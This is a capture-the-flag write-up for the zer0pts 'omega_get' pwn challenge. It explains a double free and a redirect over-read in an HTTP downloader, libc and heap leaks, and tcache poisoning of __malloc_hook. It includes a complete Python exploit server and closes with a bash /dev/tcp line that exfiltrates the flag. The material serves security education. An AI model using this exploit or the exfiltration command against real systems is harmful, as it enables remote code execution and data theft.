zer0pts CTF
pwn
We're given an ELF, libc and 3 source codes.
$ checksec -f omega_get
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 92 Symbols Yes 0 12 omega_get
The libc version is 2.27 and all security systems are enable.
Moreover, we need to pwn the server just by passing a URL to the web interface.
In this service, the URL is passed as a first argument of omega_get
, which will download the HTML and prints it.
download_file
function has a vulnerability.
If Content-Length
is included in the response header, it allocates a buffer to store the html code. On the other hand, if Location
is included, it frees html
because it's no longer necessary for redirect. It doesn't set NULL to html
, which will cause double free if multiple Location
tags are included in the response header.
Not to say a vulnearbility, there's a bug in download_file
. When Location
comes, it copies the new path or URL in this way:
redirect = malloc(strlen(value) + 1);
memcpy(redirect, value, strlen(value));
If leftover is in the region allocated by malloc, redirect
can be value||blahblah
. We use this to leak the libc address.
We need libc leak as PIE and ASLR are enabled. We allocate a chunk larger than 0x420 as HTML and leak the libc address left after freeing it.
After the chunk is linked to unsorted bin, passing a path like /1234567
in Location will overwrite the first 8 bytes and will query the URL including the libc address.
After getting the libc address, we just need to do tcache poisoning by double free. However, we have 2 problems here:
fd
as it uses strlen
/
or http://
The first problem can be solve by double-freeing the smallest chunks. The second problem may be solved by overlapping chunks, but we take an easier way.
In libc 2.27 __malloc_hook
exists at 0x7f…30. On the other hand, since the ascii code of /
is 0x2f, we can point fd to right before __malloc_hook
. Moreover, /
will be written at 0x2f and thus we can control the following 8 bytes! (==__malloc_hook
)
Calling /bin/sh
will not help in this case. We need to run arbitrary code by system
. At first glance it's impossible to pass an argument because we're using __malloc_hook
. However, as the size read by Content-Length
is long-typed, we can set very large value there, such as the address of heap.
In order to pass the command prepared on the heap, we leak the heap address first. The way to leak the heap address is same as that of libc.
Final exploit: tested on 127.0.0.1
(heap_delta
must be changed. If the server IP is XXX.XXX.XX.XX
, for example, cmd_delta
must be 0x911.)
from ptrlib import *
import contextlib
import socket
HOST, PORT = '127.0.0.1', 10080
BASE = 'http://{}:{}'.format(HOST, PORT)
PATH_0 = '/'
PATH_1 = '/' + '0' * 0x1f
PATH_B = '/' + 'B' * 7
PATH_C = '/' + 'C' * 0x1f
libc_base, heap_base = None, None
heap_delta = 0x52f
cmd_delta = 0x8e1
# cmd length must be larger than 0x18
cmd = b'ls -lha'
cmd += b' ' * 0x20
def exploit(sock, path):
global libc_base
global heap_base
payload = b'HTTP/1.1 OK 200\r\n'
print(path)
if path == PATH_0:
""" 1-1) double free
prepare heap address
"""
payload += str2bytes('Content-Length: {}\r\n'.format(0x40)) # make sure [0x55...2f] == NULL
payload += str2bytes('Content-Length: {}\r\n'.format(0x10))
payload += str2bytes('Location: {}\r\n'.format(PATH_1)) * 3
payload += b'\r\n'
elif path == PATH_1:
""" 1-2) heap leak
use buffer overread in redirect to leak heap address
"""
payload += str2bytes('Location: /\r\n')
payload += str2bytes('Content-Length: {}\r\n'.format(0x10))
payload += b'\r\n'
elif path.startswith(PATH_B):
libc_base = u64(str2bytes(path)[8:]) - libc.main_arena() - 0x60
logger.info("libc = " + hex(libc_base))
""" 2-2) double free
double free html
"""
payload += str2bytes('Content-Length: {}\r\n'.format(0x10))
payload += str2bytes('Location: {}\r\n'.format(PATH_C)) * 3
payload += b'\r\n'
elif path == PATH_C:
""" 2-3) tcache poisoning
overwrite fd to __malloc_hook and write one gadget
since __malloc_hook is located at 0x7f...30,
we can make fd point to 0x7f...2f ('/'==0x2f)
also the first one byte can be '/' followed by one gadget address
"""
malloc_hook = libc_base + libc.symbol('__malloc_hook')
system = libc_base + libc.symbol('system')
addr_cmd = heap_base + cmd_delta
payload += b'Location: /' + cmd + b'\r\n'
payload += b'Location: /' + p64(malloc_hook)[1:] + b'\r\n'
payload += b'Location: /dummy\r\n'
payload += b'Location: /' + p64(system) + b'\r\n'
payload += str2bytes('Content-Length: {}\r\n'.format(addr_cmd - 1))
payload += b'\r\n'
elif path.startswith('/'):
heap_base = u64(path) - heap_delta
logger.info("heap = " + hex(heap_base))
""" 2-1) libc leak
allocate and free html
use buffer overread in redirect to leak libc address
"""
payload += str2bytes('Content-Length: {}\r\n'.format(0x420))
payload += str2bytes('Location: /{}\r\n'.format('W'*0x30))
payload += str2bytes('Content-Length: {}\r\n'.format(0x10)) * 3
payload += str2bytes('Location: {}\r\n'.format(PATH_B))
payload += b'\r\n'
sock.send(payload)
return
if __name__ == '__main__':
libc = ELF("../distfiles/libc-2.27.so")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
with contextlib.closing(sock):
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((HOST, PORT))
sock.listen(1)
while True:
client, addr = sock.accept()
with contextlib.closing(client):
path = client.recv(4096).split()[1]
exploit(client, bytes2str(path))
Yay! We get arbitrary code executions!
$ ./omega_get http://127.0.0.1:10080/
合計 2.0M
drwxrwxr-x 2 ptr ptr 4.0K 1月 9 23:31 .
drwxrwxr-x 5 ptr ptr 4.0K 1月 4 10:44 ..
-rw------- 1 ptr ptr 3.9K 1月 9 23:31 .gdb_history
-rwxr-xr-x 1 ptr ptr 2.0M 1月 9 14:37 libc-2.27.so
-rwxrwxr-x 1 ptr ptr 14K 1月 9 22:04 omega_get
[ABORT] Memory error
We can leak flag by executing something like bash -c "ls > /dev/tcp/XXXX/YYYY"
.